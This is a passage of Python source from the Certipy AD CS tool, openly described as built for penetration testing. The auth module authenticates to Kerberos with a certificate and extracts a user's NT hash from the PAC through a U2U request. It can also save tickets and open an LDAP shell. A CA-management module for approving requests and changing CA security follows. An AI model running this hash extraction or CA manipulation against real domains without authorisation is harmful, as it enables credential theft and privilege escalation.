- LDAPS (Schannel) authentication using certificates
- Interactive LDAP shell
It supports various authentication workflows for penetration testing and security assessments.
"""
import argparse
import base64
import datetime
import sys
from random import getrandbits
from typing import Any, Optional, Union
from asn1crypto import cms, core
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.asymmetric.types import PrivateKeyTypes
from impacket.dcerpc.v5.rpcrt import TypeSerialization1
from impacket.examples.ldap_shell import LdapShell as _LdapShell
from impacket.krb5 import constants
from impacket.krb5.asn1 import (
AD_IF_RELEVANT,
AP_REQ,
AS_REP,
TGS_REP,
TGS_REQ,
Authenticator,
EncASRepPart,
EncTicketPart,
)
from impacket.krb5.asn1 import Ticket as TicketAsn1
from impacket.krb5.asn1 import (
seq_set,
seq_set_iter,
)
from impacket.krb5.ccache import CCache
from impacket.krb5.crypto import Key, _enctype_table
from impacket.krb5.kerberosv5 import KerberosError, sendReceive
from impacket.krb5.pac import (
NTLM_SUPPLEMENTAL_CREDENTIAL,
PAC_CREDENTIAL_DATA,
PAC_CREDENTIAL_INFO,
PAC_INFO_BUFFER,
PACTYPE,
)
from impacket.krb5.types import KerberosTime, Principal, Ticket
from pyasn1.codec.der import decoder, encoder
from pyasn1.type.univ import noValue
from certipy.lib.certificate import (
cert_id_to_parts,
get_identities_from_certificate,
get_object_sid_from_certificate,
hash_digest,
hashes,
load_pfx,
print_certificate_authentication_information,
x509,
)
from certipy.lib.errors import KRB5_ERROR_MESSAGES, handle_error
from certipy.lib.files import try_to_save_file
from certipy.lib.ldap import LDAPConnection
from certipy.lib.logger import logging
from certipy.lib.pkinit import build_pkinit_as_req
from certipy.lib.structs import EncType, KDCDHKeyInfo, PaPkAsRep, e2i
from certipy.lib.target import Target
class LdapShell(_LdapShell):
"""
Enhanced LDAP shell for interactive administration.
This shell provides a command-line interface for interacting with LDAP
after successfully authenticating with a certificate.
"""
def __init__(self, tcp_shell: Any, domain_dumper: Any, client: Any):
"""
Initialize the LDAP shell.
Args:
tcp_shell: Shell to use for I/O
domain_dumper: Domain information provider
client: LDAP client connection
"""
super().__init__(tcp_shell, domain_dumper, client)
self.use_rawinput = True
self.shell = tcp_shell
self.prompt = "\n# "
self.tid = None
self.intro = "Type help for list of commands"
self.loggedIn = True
self.last_output = None
self.completion = []
self.client = client
self.domain_dumper = domain_dumper
def do_dump(self, line: str):
"""
Placeholder for domain dumping functionality.
Args:
line: Command line input
"""
logging.warning("Not implemented")
def do_exit(self, line: str):
"""
Exit the shell.
Args:
line: Command line input
Returns:
True to signal shell exit
"""
print("Bye!")
return True
class DummyDomainDumper:
"""
Simple domain information provider for the LDAP shell.
This class provides minimal domain information required by the LDAP shell.
"""
def __init__(self, root: str):
"""
Initialize with domain root.
Args:
root: LDAP root path (e.g., DC=contoso,DC=com)
"""
self.root = root
def truncate_key(value: bytes, keysize: int) -> bytes:
"""
Truncate a key to the specified size using SHA1 hashing.
Args:
value: Input key material
keysize: Desired key size in bytes
Returns:
Truncated key of exactly keysize bytes
"""
output = b""
current_num = 0
while len(output) < keysize:
current_digest = hash_digest(bytes([current_num]) + value, hashes.SHA1)
if len(output) + len(current_digest) > keysize:
output += current_digest[: keysize - len(output)]
break
output += current_digest
current_num += 1
return output
class Authenticate:
"""
Main authentication class for certificate-based Kerberos and LDAP authentication.
This class provides functionality to:
- Authenticate to Kerberos using certificates (PKINIT)
- Extract NT hashes from Kerberos tickets
- Connect to LDAP using certificate authentication
- Launch interactive LDAP shells
"""
def __init__(
self,
target: Target,
pfx: Optional[str] = None,
username: Optional[str] = None,
domain: Optional[str] = None,
password: Optional[str] = None,
cert: Optional[x509.Certificate] = None,
key: Optional[PrivateKeyTypes] = None,
no_save: bool = False,
no_hash: bool = False,
print: bool = False,
kirbi: bool = False,
ldap_shell: bool = False,
**kwargs, # type: ignore
):
"""
Initialize authentication parameters.
Args:
target: Target information (domain, DC IP, etc.)
pfx: Path to PFX/P12 certificate file
username: Username to authenticate as
domain: Domain to authenticate to
password: Password for PFX file
cert: Pre-loaded certificate object
key: Pre-loaded private key object
no_save: Don't save credential cache to disk
no_hash: Don't extract NT hash
print: Print ticket information
kirbi: Save credential cache in Kirbi format
ldap_shell: Launch interactive LDAP shell after authentication
ldap_port: LDAP port (default: 389 for ldap, 636 for ldaps)
ldap_scheme: LDAP scheme (ldap or ldaps)
ldap_user_dn: LDAP user distinguished name
user_dn: User distinguished name
**kwargs: Additional parameters
"""
self.target = target
self.username = username
self.domain = domain
self.pfx = pfx
self.password = password
self.cert = cert
self.key = key
self.no_save = no_save
self.no_hash = no_hash
self.print = print
self.kirbi = kirbi
self.ldap_shell = ldap_shell
self.kwargs = kwargs
# These will be populated during authentication
self.nt_hash: Optional[str] = None
self.lm_hash: Optional[str] = None
self.ccache_name: Optional[str] = None
# Load certificate and key from PFX if provided
if self.pfx is not None:
pfx_password = None
if self.password:
pfx_password = self.password.encode()
try:
with open(self.pfx, "rb") as f:
pfx_data = f.read()
self.key, self.cert = load_pfx(pfx_data, pfx_password)
except Exception as e:
logging.error(f"Failed to load PFX file: {e}")
raise
def authenticate(
self,
username: Optional[str] = None,
domain: Optional[str] = None,
is_key_credential: bool = False,
) -> Union[str, bool, None]:
"""
Authenticate using a certificate.
This is the main entry point for authentication. It will determine
whether to use LDAP or Kerberos authentication based on configuration.
Args:
username: Username to authenticate as
domain: Domain to authenticate to
is_key_credential: Whether we're using a key credential
Returns:
NT hash if extracted, True if successful, False if failed, None if error
"""
if not self.cert:
raise ValueError("Certificate is not specified and no PFX was provided")
# Print authentication information present in the certificate
print_certificate_authentication_information(self.cert)
# Resolve username and domain from target if not provided
if not username:
username = self.username or self.target.username
if not domain:
domain = self.domain or self.target.domain
# Use LDAP authentication if requested
if self.ldap_shell:
return self.ldap_authentication(domain)
# Extract identity information from certificate if needed
id_type = None
identity = None
object_sid = None
cert_username = None
cert_domain = None
# Skip certificate parsing for key credentials
if not is_key_credential:
# Extract identity information from certificate
identities = get_identities_from_certificate(self.cert)
# Get the object SID from the certificate if available
object_sid = get_object_sid_from_certificate(self.cert)
# No identities found in the certificate
if not identities:
logging.warning("Could not find identity in the provided certificate")
# Single identity found - use it directly
elif len(identities) == 1:
id_type, identity = identities[0]
cert_username, cert_domain = cert_id_to_parts([(id_type, identity)])
# Multiple identities found - handle based on input parameters
else:
logging.info("Found multiple identities in certificate")
# Case 1: If username is provided, try to find a matching identity
if username:
matching_ids = []
for idx, (id_t, id_val) in enumerate(identities):
u, d = cert_id_to_parts([(id_t, id_val)])
if u and (
u.lower() == username.lower()
or u.lower() + "$" == username.lower()
):
matching_ids.append((idx, id_t, id_val, u, d))
# Found exactly one match for the username
if len(matching_ids) == 1:
idx, id_type, identity, cert_username, cert_domain = (
matching_ids[0]
)
logging.info(f"Using identity: {id_type}: {identity}")
# Found multiple matches - prompt user to select one
elif len(matching_ids) > 1:
logging.info(
f"Found multiple identities for username '{username}'"
)
logging.info("Please select one:")
for i, (idx, id_t, id_val, u, d) in enumerate(matching_ids):
print(f" [{i}] {id_t}: {id_val!r} ({u}@{d})")
while True:
try:
choice = int(input("> "))
if 0 <= choice < len(matching_ids):
(
idx,
id_type,
identity,
cert_username,
cert_domain,
) = matching_ids[choice]
break
logging.warning("Invalid index")
except ValueError:
logging.warning("Invalid input, enter a number")
# No matches found - prompt user to select from all identities
else:
logging.warning(f"No identities match username '{username}'")
logging.info("Please select an identity:")
for i, (id_t, id_val) in enumerate(identities):
u, d = cert_id_to_parts([(id_t, id_val)])
print(
f" [{i}] {id_t}: {id_val!r} ({u or 'unknown'}@{d or 'unknown'})"
)
while True:
try:
idx = int(input("> "))
if 0 <= idx < len(identities):
id_type, identity = identities[idx]
cert_username, cert_domain = cert_id_to_parts(
[(id_type, identity)]
)
break
logging.warning("Invalid index")
except ValueError:
logging.warning("Invalid input, enter a number")
# Case 2: No username provided - prompt user to select an identity
else:
logging.info("Please select an identity:")
for i, (id_t, id_val) in enumerate(identities):
u, d = cert_id_to_parts([(id_t, id_val)])
print(
f" [{i}] {id_t}: {id_val!r} ({u or 'unknown'}@{d or 'unknown'})"
)
while True:
try:
idx = int(input("> "))
if 0 <= idx < len(identities):
id_type, identity = identities[idx]
cert_username, cert_domain = cert_id_to_parts(
[(id_type, identity)]
)
break
logging.warning("Invalid index")
except ValueError:
logging.warning("Invalid input, enter a number")
# Resolve username and domain
if not username:
username = cert_username
if not domain:
domain = cert_domain
# Check for mismatches between certificate and provided identity
if (
self._check_identity_mismatches(
username, domain, cert_username, cert_domain
)
is False
):
return False
# Ensure we have both username and domain
if not all([username, domain]) and not is_key_credential:
logging.error(
"Username or domain is not specified, and identity "
"information was not found in the certificate"
)
return False
if not username or not domain:
logging.error(f"Username or domain is invalid: {username}@{domain}")
return False
# Normalize domain and username
domain = domain.lower()
username = username.lower()
upn = f"{username}@{domain}"
# Resolve target IP if needed
if self.target and self.target.resolver and self.target.target_ip is None:
self.target.target_ip = self.target.resolver.resolve(domain)
logging.info(f"Using principal: {upn!r}")
# Perform Kerberos authentication
return self.kerberos_authentication(
username,
domain,
is_key_credential,
id_type,
identity,
object_sid,
upn,
)
def _check_identity_mismatches(
self,
username: Optional[str],
domain: Optional[str],
cert_username: Optional[str],
cert_domain: Optional[str],
) -> Optional[bool]:
"""
Check for mismatches between provided identity and certificate identity.
Args:
username: Provided username
domain: Provided domain
cert_username: Username from certificate
cert_domain: Domain from certificate
Returns:
None if checks passed, False if should abort
"""
# Check username mismatch (accounting for computer accounts with $)
if (
cert_username
and username
and cert_username.lower() != username.lower()
and cert_username.lower() + "$" != username.lower()
):
logging.warning(
f"The provided username does not match the identity "
f"found in the certificate: {username!r} - {cert_username!r}"
)
res = input("Do you want to continue? (Y/n): ")
if res.strip().lower() == "n":
return False
# Check domain mismatch (accounting for subdomains)
if (
cert_domain
and domain
and domain.lower() != cert_domain.lower()
and not cert_domain.lower().startswith(domain.lower().rstrip(".") + ".")
):
logging.warning(
f"The provided domain does not match the identity "
f"found in the certificate: {domain!r} - {cert_domain!r}"
)
res = input("Do you want to continue? (Y/n): ")
if res.strip().lower() == "n":
return False
return None
def ldap_authentication(self, domain: Optional[str] = None) -> bool:
"""
Authenticate to LDAP using a certificate.
Args:
domain: Domain to authenticate to
Returns:
True if successful, False otherwise
"""
if self.key is None:
raise ValueError("Private key is not specified and no PFX was provided")
if self.cert is None:
raise ValueError("Certificate is not specified and no PFX was provided")
ldap_conn = LDAPConnection(self.target, (self.cert, self.key))
try:
ldap_conn.schannel_connect()
except Exception as e:
logging.error(f"Failed to connect to LDAP server: {e}")
handle_error()
return False
if ldap_conn.default_path is None:
logging.error("Failed to retrieve default naming context")
return False
domain_dumper = DummyDomainDumper(ldap_conn.default_path)
ldap_shell = LdapShell(sys, domain_dumper, ldap_conn.ldap_conn)
try:
ldap_shell.cmdloop()
except KeyboardInterrupt:
print("Bye!\n")
return True
def kerberos_authentication(
self,
username: str,
domain: str,
is_key_credential: bool = False,
id_type: Optional[str] = None,
identity: Optional[str] = None,
object_sid: Optional[str] = None,
upn: Optional[str] = None,
) -> Union[str, bool, None]:
"""
Authenticate to Kerberos using PKINIT with a certificate.
Args:
username: Username to authenticate as
domain: Domain to authenticate to
is_key_credential: Whether we're using a key credential
id_type: Type of identity in certificate
identity: identity value from certificate
object_sid: SID from certificate
upn: User Principal Name
Returns:
NT hash if extracted, True if successful, False otherwise
"""
if self.key is None:
raise ValueError("Private key is not specified and no PFX was provided")
if self.cert is None:
raise ValueError("Certificate is not specified and no PFX was provided")
if not isinstance(self.key, rsa.RSAPrivateKey):
raise ValueError(
"Currently only RSA private keys are supported. Try using -ldap-shell instead"
)
# Create AS-REQ for PKINIT
as_req, diffie = build_pkinit_as_req(username, domain, self.key, self.cert)
# Resolve target IP if needed
if self.target and self.target.resolver and self.target.target_ip is None:
self.target.target_ip = self.target.resolver.resolve(domain)
logging.info("Trying to get TGT...")
logging.debug(f"Sending AS-REQ to KDC {domain} ({self.target.target_ip})")
try:
# Send Kerberos AS-REQ
tgt = sendReceive(as_req, domain, self.target.target_ip)
except KerberosError as e:
# Handle Kerberos errors with helpful messages
if e.getErrorCode() not in KRB5_ERROR_MESSAGES:
logging.error(f"Got unknown Kerberos error: {e.getErrorCode():#x}")
return False
if "KDC_ERR_CLIENT_NAME_MISMATCH" in str(e) and not is_key_credential:
logging.error(
f"Name mismatch between certificate and user {username!r}"
)
if id_type is not None:
logging.error(
f"Verify that the username {username!r} matches the certificate {id_type}: {identity}"
)
elif "KDC_ERR_WRONG_REALM" in str(e) and not is_key_credential:
logging.error(f"Wrong domain name specified {domain!r}")
if id_type is not None:
logging.error(
f"Verify that the domain {domain!r} matches the certificate {id_type}: {identity}"
)
elif "KDC_ERR_CERTIFICATE_MISMATCH" in str(e) and not is_key_credential:
logging.error(
f"Object SID mismatch between certificate and user {username!r}"
)
if object_sid is not None:
logging.error(
f"Verify that user {username!r} has object SID {object_sid!r}"
)
elif "KDC_ERR_INCONSISTENT_KEY_PURPOSE" in str(e):
logging.error("Certificate is not valid for client authentication")
logging.error(
"Check the certificate template and ensure it has the correct EKU(s)"
)
logging.error(
"If you recently changed the certificate template, wait a few minutes for the change to propagate"
)
else:
logging.error(f"Got error while trying to request TGT: {e}")
handle_error()
logging.error("See the wiki for more information")
return False
logging.info("Got TGT")
# Process AS-REP
as_rep = decoder.decode(tgt, asn1Spec=AS_REP())[0]
# Extract PA-PK-AS-REP
for pa in as_rep["padata"]:
if pa["padata-type"] == 17: # PA-PK-AS-REP
pk_as_rep = PaPkAsRep.load(bytes(pa["padata-value"])).native
break
else:
logging.error("PA_PK_AS_REP was not found in AS_REP")
return False
# Process Diffie-Hellman key exchange data
ci = cms.ContentInfo.load(pk_as_rep["dhSignedData"]).native
sd = ci["content"]
key_info = sd["encap_content_info"]
if key_info["content_type"] != "1.3.6.1.5.2.3.2":
logging.error("Unexpected value for key info content type")
return False
# Get public key from KDC
auth_data = KDCDHKeyInfo.load(key_info["content"]).native
pub_key = int.from_bytes(
core.BitString(auth_data["subjectPublicKey"]).dump()[7:],
"big",
signed=False,
)
# Complete Diffie-Hellman exchange
shared_key = diffie.exchange(pub_key)
server_nonce = pk_as_rep["serverDHNonce"]
full_key = shared_key + diffie.dh_nonce + server_nonce
# Derive encryption key
etype = as_rep["enc-part"]["etype"]
cipher = _enctype_table[etype]
if etype == EncType.AES256:
t_key = truncate_key(full_key, 32)
elif etype == EncType.AES128:
t_key = truncate_key(full_key, 16)
else:
logging.error("Unexpected encryption type in AS_REP")
return False
# Decrypt AS-REP
key = Key(cipher.enctype, t_key)
enc_data = as_rep["enc-part"]["cipher"]
dec_data = cipher.decrypt(key, 3, enc_data)
enc_as_rep_part = decoder.decode(dec_data, asn1Spec=EncASRepPart())[0]
# Extract session key
cipher = _enctype_table[int(enc_as_rep_part["key"]["keytype"])]
session_key = Key(cipher.enctype, bytes(enc_as_rep_part["key"]["keyvalue"]))
# Create credential cache
ccache = CCache()
ccache.fromTGT(tgt, key, None)
krb_cred = ccache.toKRBCRED()
# Print ticket if requested
if self.print:
logging.info("Ticket:")
print(base64.b64encode(krb_cred).decode())
# Save ticket to file if requested
if not self.no_save:
if self.kirbi:
kirbi_name = f"{username.rstrip('$')}.kirbi"
logging.info(f"Saving Kirbi file to {kirbi_name!r}")
saved_path = try_to_save_file(ccache.toKRBCRED(), kirbi_name)
logging.info(f"Wrote Kirbi file to {saved_path!r}")
else:
self.ccache_name = f"{username.rstrip('$')}.ccache"
logging.info(f"Saving credential cache to {self.ccache_name!r}")
saved_path = try_to_save_file(ccache.getData(), self.ccache_name)
logging.info(f"Wrote credential cache to {saved_path!r}")
# Extract NT hash if requested
if not self.no_hash:
logging.info(f"Trying to retrieve NT hash for {username!r}")
try:
# Create AP-REQ for User-to-User (U2U) authentication
ap_req = AP_REQ()
ap_req["pvno"] = 5
ap_req["msg-type"] = e2i(constants.ApplicationTagNumbers.AP_REQ)
ap_req["ap-options"] = constants.encodeFlags([])
# Use received ticket
ticket = Ticket()
ticket = ticket.from_asn1(as_rep["ticket"])
seq_set(ap_req, "ticket", ticket.to_asn1)
# Create authenticator for AP-REQ
authenticator = Authenticator()
authenticator["authenticator-vno"] = 5
authenticator["crealm"] = bytes(as_rep["crealm"])
client_name = Principal()
client_name = client_name.from_asn1(as_rep, "crealm", "cname")
seq_set(authenticator, "cname", client_name.components_to_asn1)
# Set time in authenticator
now = datetime.datetime.now(datetime.timezone.utc)
authenticator["cusec"] = now.microsecond
authenticator["ctime"] = KerberosTime.to_asn1(now)
# Encrypt authenticator with session key
encoded_authenticator = encoder.encode(authenticator)
encrypted_encoded_authenticator = cipher.encrypt(
session_key, 7, encoded_authenticator, None
)
ap_req["authenticator"] = noValue
ap_req["authenticator"]["etype"] = cipher.enctype
ap_req["authenticator"]["cipher"] = encrypted_encoded_authenticator
encoded_ap_req = encoder.encode(ap_req)
# Create TGS-REQ with U2U flag
tgs_req = TGS_REQ()
tgs_req["pvno"] = 5
tgs_req["msg-type"] = e2i(constants.ApplicationTagNumbers.TGS_REQ)
# Add AP-REQ as PA data
tgs_req["padata"] = noValue
tgs_req["padata"][0] = noValue
tgs_req["padata"][0]["padata-type"] = e2i(
constants.PreAuthenticationDataTypes.PA_TGS_REQ
)
tgs_req["padata"][0]["padata-value"] = encoded_ap_req
req_body = seq_set(tgs_req, "req-body")
# Set KDC options for U2U
opts = [
e2i(constants.KDCOptions.forwardable),
e2i(constants.KDCOptions.renewable),
e2i(constants.KDCOptions.canonicalize),
e2i(constants.KDCOptions.enc_tkt_in_skey), # This enables U2U
e2i(constants.KDCOptions.forwardable),
e2i(constants.KDCOptions.renewable_ok),
]
req_body["kdc-options"] = constants.encodeFlags(opts)
# Request a ticket to self (U2U)
server_name = Principal(
username, type=e2i(constants.PrincipalNameType.NT_UNKNOWN)
)
seq_set(req_body, "sname", server_name.components_to_asn1)
req_body["realm"] = str(as_rep["crealm"])
# Set validity period
now = datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(
days=1
)
req_body["till"] = KerberosTime.to_asn1(now)
req_body["nonce"] = getrandbits(31)
# Request supported encryption types
seq_set_iter(
req_body,
"etype",
(int(cipher.enctype), e2i(constants.EncryptionTypes.rc4_hmac)),
)
# Include our own ticket
ticket_asn1 = ticket.to_asn1(TicketAsn1())
seq_set_iter(req_body, "additional-tickets", (ticket_asn1,))
# Send TGS-REQ
message = encoder.encode(tgs_req)
tgs = sendReceive(message, domain, self.target.target_ip)
tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
# Decrypt ticket from TGS-REP
ciphertext = tgs["ticket"]["enc-part"]["cipher"]
new_cipher = _enctype_table[int(tgs["ticket"]["enc-part"]["etype"])]
plaintext = new_cipher.decrypt(session_key, 2, ciphertext)
# Create special key using the t_key
special_key = Key(18, t_key)
# Extract PAC from ticket
data = plaintext
enc_ticket_part = decoder.decode(data, asn1Spec=EncTicketPart())[0]
ad_if_relevant = decoder.decode(
enc_ticket_part["authorization-data"][0]["ad-data"],
asn1Spec=AD_IF_RELEVANT(),
)[0]
pac_type = PACTYPE(ad_if_relevant[0]["ad-data"].asOctets())
buff = pac_type["Buffers"]
# Default hash values
nt_hash = None
lm_hash = "aad3b435b51404eeaad3b435b51404ee"
# Look for credential info in PAC
for _ in range(pac_type["cBuffers"]):
info_buffer = PAC_INFO_BUFFER(buff)
data = pac_type["Buffers"][info_buffer["Offset"] - 8 :][
: info_buffer["cbBufferSize"]
]
# PAC_CREDENTIAL_INFO contains the hashes
if info_buffer["ulType"] == 2: # PAC_CREDENTIAL_INFO
cred_info = PAC_CREDENTIAL_INFO(data)
new_cipher = _enctype_table[cred_info["EncryptionType"]]
# Decrypt the credentials with the special key
out = new_cipher.decrypt(
special_key, 16, cred_info["SerializedData"]
)
# Parse credential data
type1 = TypeSerialization1(out)
new_data = out[len(type1) + 4 :]
pcc = PAC_CREDENTIAL_DATA(new_data)
# Extract NTLM hashes
for cred in pcc["Credentials"]:
cred_structs = NTLM_SUPPLEMENTAL_CREDENTIAL(
b"".join(cred["Credentials"])
)
if any(cred_structs["LmPassword"]):
lm_hash = cred_structs["LmPassword"].hex()
nt_hash = cred_structs["NtPassword"].hex()
break
break
# Move to next buffer
buff = buff[len(info_buffer) :]
else:
logging.error("Could not find credentials in PAC")
return False
# Store hashes in object
self.lm_hash = lm_hash
self.nt_hash = nt_hash
# Display hash information
if not is_key_credential:
logging.info(f"Got hash for {upn!r}: {lm_hash}:{nt_hash}")
# Return the NT hash
return nt_hash
except Exception as e:
logging.error(f"Failed to extract NT hash: {e}")
handle_error()
return False
# Authentication succeeded
return True
def entry(options: argparse.Namespace) -> None:
"""
Entry point for the 'auth' command.
Args:
options: Command-line arguments
"""
# Ensure we don't try to use password authentication
options.no_pass = True
# Create target from options
target = Target.from_options(options, dc_as_target=True, require_username=False)
# Create authenticator and perform authentication
try:
authenticate = Authenticate(target=target, **vars(options))
result = authenticate.authenticate()
if result is False:
sys.exit(1)
except Exception as e:
logging.error(f"Authentication failed: {e}")
handle_error()
sys.exit(1)
Certipy-5.1.0/certipy/commands/ca.py 0000775 0000000 0000000 00000144103 15216574665 0017400 0 ustar 00root root 0000000 0000000 """
Certificate Authority (CA) Management Module for Certipy.
This module provides functionality to interact with Active Directory Certificate Services (AD CS):
- CA certificate and security management
- Certificate template enablement/disablement
- Certificate request approval/denial
- Officer and manager role assignment
- CA backup/restore operations
It serves as a comprehensive tool for CA administration and security assessment.
"""
import argparse
import copy
import time
from typing import Any, List, Optional, Union
from impacket.dcerpc.v5 import rpcrt, rrp, scmr
from impacket.dcerpc.v5.dcom.oaut import VARIANT
from impacket.dcerpc.v5.dcomrt import DCOMANSWER, DCOMCALL, IRemUnknown, IRemUnknown2
from impacket.dcerpc.v5.dtypes import DWORD, LONG, LPWSTR, PBYTE, ULONG, WSTR
from impacket.dcerpc.v5.ndr import NDRSTRUCT
from impacket.dcerpc.v5.nrpc import checkNullString
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, DCERPCException
from impacket.ldap import ldaptypes
from impacket.smbconnection import SMBConnection
from impacket.uuid import string_to_bin, uuidtup_to_bin
from certipy.lib.certificate import NameOID, create_pfx, der_to_cert, load_pfx, x509
from certipy.lib.constants import CertificateAuthorityRights
from certipy.lib.errors import handle_error, translate_error_code
from certipy.lib.files import try_to_save_file
from certipy.lib.kerberos import get_tgs
from certipy.lib.ldap import LDAPConnection, LDAPEntry
from certipy.lib.logger import logging
from certipy.lib.rpc import (
get_dce_rpc,
get_dce_rpc_from_string_binding,
get_dcom_connection,
)
from certipy.lib.security import CASecurity
from certipy.lib.target import Target
from .template import Template
# Module name
NAME = "ca"
# Constants for CA operations
IF_NOREMOTEICERTADMINBACKUP = 0x40
CR_PROP_TEMPLATES = 0x0000001D
# DCOM constants for CA interfaces
CLSID_ICertAdminD = string_to_bin("d99e6e73-fc88-11d0-b498-00a0c90312f3")
CLSID_CCertRequestD = string_to_bin("d99e6e74-fc88-11d0-b498-00a0c90312f3")
IID_ICertAdminD = uuidtup_to_bin(("d99e6e71-fc88-11d0-b498-00a0c90312f3", "0.0"))
IID_ICertAdminD2 = uuidtup_to_bin(("7fe0d935-dda6-443f-85d0-1cfb58fe41dd", "0.0"))
IID_ICertRequestD2 = uuidtup_to_bin(("5422fd3a-d4b8-4cef-a12e-e87d4ca22e90", "0.0"))
# =========================================================================
# Exception and Structure Definitions
# =========================================================================
class DCERPCSessionError(DCERPCException):
"""
Custom exception class for CA session errors that provides more meaningful error messages.
"""
def __init__(
self, error_string: Any = None, error_code: Any = None, packet: Any = None
):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__(self):
self.error_code &= 0xFFFFFFFF # type: ignore
error_msg = translate_error_code(self.error_code)
return f"CASessionError: {error_msg}"
class CERTTRANSBLOB(NDRSTRUCT):
"""
Structure representing certificate transfer blob for RPC calls.
"""
structure = (
("cb", ULONG),
("pb", PBYTE),
)
# =========================================================================
# RPC Interface Definitions for CA Operations
# =========================================================================
class ICertAdminDResubmitRequest(DCOMCALL):
"""
RPC interface for resubmitting certificate requests.
Used to approve pending requests.
"""
opnum = 5
structure = (
("pwszAuthority", LPWSTR),
("pdwRequestId", DWORD),
("pwszExtensionName", LPWSTR),
)
class ICertAdminDResubmitRequestResponse(DCOMANSWER):
structure = (("pdwDisposition", ULONG),)
class ICertAdminDDenyRequest(DCOMCALL):
"""
RPC interface for denying certificate requests.
"""
opnum = 6
structure = (
("pwszAuthority", LPWSTR),
("pdwRequestId", DWORD),
)
class ICertAdminDDenyRequestResponse(DCOMANSWER):
structure = (("ErrorCode", ULONG),)
class ICertRequestD2GetCAProperty(DCOMCALL):
"""
RPC interface for retrieving CA properties.
"""
opnum = 7
structure = (
("pwszAuthority", LPWSTR),
("PropId", LONG),
("PropIndex", LONG),
("PropType", LONG),
)
class ICertRequestD2GetCAPropertyResponse(DCOMANSWER):
structure = (("pctbPropertyValue", CERTTRANSBLOB),)
class ICertAdminD2GetCAProperty(DCOMCALL):
"""
RPC interface for retrieving CA properties.
"""
opnum = 32
structure = (
("pwszAuthority", LPWSTR),
("PropId", LONG),
("PropIndex", LONG),
("PropType", LONG),
)
class ICertAdminD2GetCAPropertyResponse(DCOMANSWER):
structure = (("pctbPropertyValue", CERTTRANSBLOB),)
class ICertAdminD2SetCAProperty(DCOMCALL):
"""
RPC interface for setting CA properties.
"""
opnum = 33
structure = (
("pwszAuthority", LPWSTR),
("PropId", LONG),
("PropIndex", LONG),
("PropType", LONG),
("pctbPropertyValue", CERTTRANSBLOB),
)
class ICertAdminD2SetCAPropertyResponse(DCOMANSWER):
structure = (("ErrorCode", ULONG),)
class ICertAdminD2GetCASecurity(DCOMCALL):
"""
RPC interface for retrieving CA security settings.
"""
opnum = 36
structure = (("pwszAuthority", LPWSTR),)
class ICertAdminD2GetCASecurityResponse(DCOMANSWER):
structure = (("pctbSD", CERTTRANSBLOB),)
class ICertAdminD2SetCASecurity(DCOMCALL):
"""
RPC interface for setting CA security settings.
"""
opnum = 37
structure = (("pwszAuthority", LPWSTR), ("pctbSD", CERTTRANSBLOB))
class ICertAdminD2SetCASecurityResponse(DCOMANSWER):
structure = (("ErrorCode", LONG),)
class ICertAdminD2GetConfigEntry(DCOMCALL):
"""
RPC interface for retrieving CA configuration entries.
"""
opnum = 44
structure = (
("pwszAuthority", LPWSTR),
("pwszNodePath", LPWSTR),
("pwszEntry", WSTR),
)
class ICertAdminD2GetConfigEntryResponse(DCOMANSWER):
structure = (("pVariant", VARIANT),)
# =========================================================================
# CA Interface Classes
# =========================================================================
class ICertCustom(IRemUnknown):
"""
Base class for custom certificate service interfaces.
"""
def request(self, req: Any, *args, **kwargs): # type: ignore
"""
Send a request to the CA service.
Args:
req: Request object
*args: Additional arguments
**kwargs: Additional keyword arguments
Returns:
Response from the CA service
Raises:
DCERPCException: If the RPC call fails
"""
req["ORPCthis"] = self.get_cinstance().get_ORPCthis() # type: ignore
req["ORPCthis"]["flags"] = 0
self.connect(self._iid)
dce = self.get_dce_rpc()
try:
resp = dce.request(req, self.get_iPid(), *args, **kwargs)
except Exception as e:
if str(e).find("RPC_E_DISCONNECTED") >= 0:
msg = str(e) + "\n"
msg += (
"DCOM keep-alive pinging it might not be working as expected. You "
"can't be idle for more than 14 minutes!\n"
)
msg += "You should exit the app and start again\n"
raise DCERPCException(msg)
else:
raise
return resp
class ICertAdminD(ICertCustom):
"""
Interface for the ICertAdminD service.
This is the basic certificate administration interface.
"""
def __init__(self, interface: IRemUnknown2):
super().__init__(interface)
self._iid = IID_ICertAdminD
class ICertAdminD2(ICertCustom):
"""
Interface for the ICertAdminD2 service.
This is the extended certificate administration interface.
"""
def __init__(self, interface: IRemUnknown2):
super().__init__(interface)
self._iid = IID_ICertAdminD2
class ICertRequestD2(ICertCustom):
"""
Interface for the ICertRequestD2 service.
This interface is used for certificate requests.
"""
def __init__(self, interface: IRemUnknown2):
super().__init__(interface)
self._iid = IID_ICertRequestD2
# =========================================================================
# Main CA Class
# =========================================================================
class CA:
"""
Main class for interacting with Certificate Authorities.
This class provides methods for:
- Retrieving CA certificates and configuration
- Managing certificate templates
- Approving/denying certificate requests
- Managing CA officers and managers
- Backing up CA certificates and keys
"""
def __init__(
self,
target: Target,
ca: Optional[str] = None,
template: Optional[str] = None,
officer: Optional[str] = None,
request_id: Optional[int] = None,
connection: Optional[LDAPConnection] = None,
scheme: str = "ldaps",
dynamic: bool = False,
config: Optional[str] = None,
timeout: int = 5,
**kwargs, # type: ignore
):
"""
Initialize CA management object.
Args:
target: Target information (hostname, credentials, etc.)
ca: CA name
template: Certificate template name
officer: Officer username
request_id: Certificate request ID
connection: Existing LDAP connection to reuse
scheme: LDAP scheme (ldap or ldaps)
dc_host: Domain controller hostname
dynamic: Use dynamic port allocation
config: CA configuration string
timeout: Connection timeout in seconds
**kwargs: Additional arguments
"""
self.target = target
self.request_id = request_id
self.ca = ca
self.officer = officer
self.template = template
self.scheme = scheme
self.dynamic = dynamic
self.config = config
self.timeout = timeout
self.kwargs = kwargs
# Initialize connection objects
self._connection: Optional[LDAPConnection] = connection
self._cert_admin: Optional[ICertAdminD] = None
self._cert_admin2: Optional[ICertAdminD2] = None
self._cert_request2: Optional[ICertRequestD2] = None
self._rrp_dce = None
# =========================================================================
# Connection Properties and Methods
# =========================================================================
@property
def connection(self) -> LDAPConnection:
"""
Get or create an LDAP connection to the domain.
Returns:
Active LDAP connection
Raises:
ValueError: If target resolution fails
"""
if self._connection:
return self._connection
target = copy.copy(self.target)
if target.do_kerberos:
if self.target.dc_host is None:
raise Exception(
"Kerberos auth requires DNS name of the target DC. Use -dc-host."
)
